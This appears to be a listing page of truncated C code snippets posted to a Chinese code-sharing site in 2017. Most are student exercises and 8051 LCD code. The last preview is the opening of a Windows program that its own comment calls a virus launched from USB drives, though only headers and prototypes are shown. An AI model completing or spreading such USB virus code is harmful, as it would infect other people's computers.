#include <reg52.h>
#include <string.h>
sbit RS = P1^0;
sbit RW = P1^1;
sbit EN = P1^2;
sbit BUSY = P0^7;
typedef unsigned char uint8;
typedef unsigned int uint16;
char string[]="guoyingjie";
char neirong[]="151307191";
void wait()
......................
阅读全部
|
gyjgyjgyj
贴于 2017年4月11日 09:26
hide
bbsi
#include <reg52.h>
#include <string.h>
sbit RS = P1^0;
sbit RW = P1^1;
sbit EN = P1^2;
sbit BUSY = P0^7;
typedef unsigned char uint8;
typedef unsigned int uint16;
char string[]="guoyingjie";
char neirong[]="151307191";
void wait()
......................
阅读全部
|
gyjgyjgyj
贴于 2017年4月11日 09:25
hide
bbsi
#include<stdio.h>
#include<stdlib.h>
#define WEIGHT 3.0e-23
#define CHAGE 950
int main()
{
float k;
printf("Please enter:");
scanf("%f,&k");
......................
阅读全部
|
gyjgyjgyj
贴于 2017年4月11日 09:02
hide
bbsi
int InsList(LinkList L,int i,int e){
Node *pre,*s,*p;
int k;
if(i<=0) printf("插入位置错误");
pre=L;k=0;
while(pre!=NULL&&k<i-1){
pre=pre->next;
k=k+1;
}
if(pre==NULL){
printf("插入位置不合理");
}
......................
阅读全部
|
李大大
贴于 2017年4月3日 22:09
hide
bbsi
1.水仙花数
#include<stdio.h>
int main()
{
int i,a,b,c;
for(i=100;i<1000;i++)
{
a=i/100;
b=(i/10)%10;
c=i%10;
if((a*a*a+b*b*b+c*c*c)==i)
printf("%d\n",i);
......................
阅读全部
|
dcbaliu
贴于 2017年3月31日 20:05
hide
bbsi
main() {
char a[]="morning",t;
int i,j=0;
for(i=1;i<7;i++) if(a[j]<a[i]) j=i;
t=a[j]; a[j]=a[7]; puts(a);
阅读全部
|
buddyuan
贴于 2017年3月19日 10:52
hide
bbsi
#include <stdio.h>
int GetRoot(int a)
{
int result = 0;
while (a > 0)
{
result += a%10;
a /= 10;
}
return result;
}
......................
阅读全部
|
天衣boy
贴于 2017年3月16日 11:22
hide
bbsi
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//计时器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);
//病毒从U盘启动时用到的函数
......................
阅读全部
|
马背陀着夕阳
贴于 2017年3月15日 22:35
hide
bbsi